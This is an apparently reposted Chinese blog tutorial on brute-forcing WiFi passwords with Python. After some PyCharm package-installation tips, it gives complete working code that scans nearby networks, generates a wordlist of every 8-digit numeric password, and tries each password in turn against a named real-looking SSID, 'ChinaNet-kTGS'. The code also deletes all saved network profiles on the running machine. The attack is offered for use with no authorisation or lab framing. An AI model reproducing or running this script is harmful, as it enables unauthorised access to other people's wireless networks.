[python爬虫]暴力破解Wifi密码

遇到的错误

一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法
解决方案一:

在Pycharm中,依次打开File—>Settings,弹窗如下图:
在这里插入图片描述
点击右侧“+”号,输入自己需要导入包的名称,在下面列表中可以看到自己需要的包,详图如下:
在这里插入图片描述
最后点击Install Package,等待安装完成即可。

解决方案二:

前提是已经在终端通过pip install命令成功安装了包。windows环境下,pip会将下载的第三方包存放在以下路径:[your path]\Python36\Lib\site-packages\中,在这个文件夹下,找到我们要引用的包,复制到:[使用解释器路径]\Lib\site-packages\下,即可使用。使用解释器是你项目下面的这个,如图。
在这里插入图片描述
解决方案三:

重新建项目,创建的时候勾选“inherit global site-packages”,即可解决。详情见下图
在这里插入图片描述
二.运行时报No module named 'comtypes’错
解决办法:安装 comtypes模块:
在这里插入图片描述
关于pip的使用可以参考我的另一篇文章重学python之pip

学到的技巧

1.(使用pycharm)ctrl+点击可以跳到相应部分查看代码和定义!
2.注释是个很重要的东西!(选中+Ctrl+/)
3.最好使用导入模块中定义的常量来判断:
例如:

  if ifaca.status()==const.IFACE_DISCONNECTED:
        print("未连接")
    else: print("连接")

中 用const.IFACE_DISCONNECTED代替0是个更好的选择
因为别人不知道0代表什么

代码:

import time

import pywifi
from pywifi import const
# 判断是否连接到wifi环境
def gic():
    #创建一个无线对象
    wifi=pywifi.PyWiFi()
    # print(wifi)
    #获取网卡【】列表
    ifaca=wifi.interfaces()[0]
    #获取无线网卡名字
    print(ifaca.name())
    print(ifaca.status())
    if ifaca.status()==const.IFACE_DISCONNECTED:
        print("未连接")
    else: print("连接")

# gic()
# 扫描附近的wifi
def bies():
    wifi=pywifi.PyWiFi()
    ifcae=wifi.interfaces()[0]
    # 扫描附近wifi
    ifcae.scan()
    #保存扫描结果,如果没有反应就多扫几遍
    bessis=ifcae.scan_results()
    # print(bessis)
    #打印附近wifi的名字(ssid)
    for wifi in bessis:
        print(wifi.ssid)
# bies()
def wificonnect(wifiname,wifipwd):
    # wifi连接测试
    wifi=pywifi.PyWiFi()
    iface=wifi.interfaces()[0]
    # 断开wifi连接
    # iface.disconnect()
    time.sleep(0.5)
    if iface.status()==const.IFACE_DISCONNECTED:
      #        创建wifi连接文件
      profilie=pywifi.Profile()
      # wifi名称
      profilie.ssid=wifiname
      # wifi密码
      profilie.key=wifipwd
      # wifi的加密算法
      profilie.akm.append(const.AKM_TYPE_WPA2PSK)
      # 网卡的开放
      profilie.auth=const.AUTH_ALG_OPEN
      # 加密单元
      profilie.cipher=const.CIPHER_TYPE_CCMP


      # 删除所有wifi文件
      iface.remove_all_network_profiles()
      # 添加新的wifi文件
      temp_profile=iface.add_network_profile(profilie)


      # 连接wifi
      iface.connect(temp_profile)
      time.sleep(2)
      if iface.status()==const.IFACE_CONNECTED:
          return True
      else:return False

#读取密码
def read_pwd():
  path="F:\\untitled\\WIFI\\code.text"
  file=open(path,"r")
  while True:
      try:
          wifipwd=file.readline();
          bool=wificonnect("ChinaNet-kTGS",wifipwd)
          if bool:
              print("密码正确:"+wifipwd)
              break
          else:
              print("密码错误:"+wifipwd)
      except:
          continue
  file.close()

read_pwd()


#生成密码本
import itertools as its
words = '1234567890'
# 生成密码的位数
r = its.product(words,repeat=8)
dic = open('F:\\untitled\\WIFI\\code.text','a')

for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成')


参考:Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法
原文链接:https://blog.csdn.net/kouyi5627/article/details/80531442

猜你喜欢

转载自blog.csdn.net/qq_44308180/article/details/107225851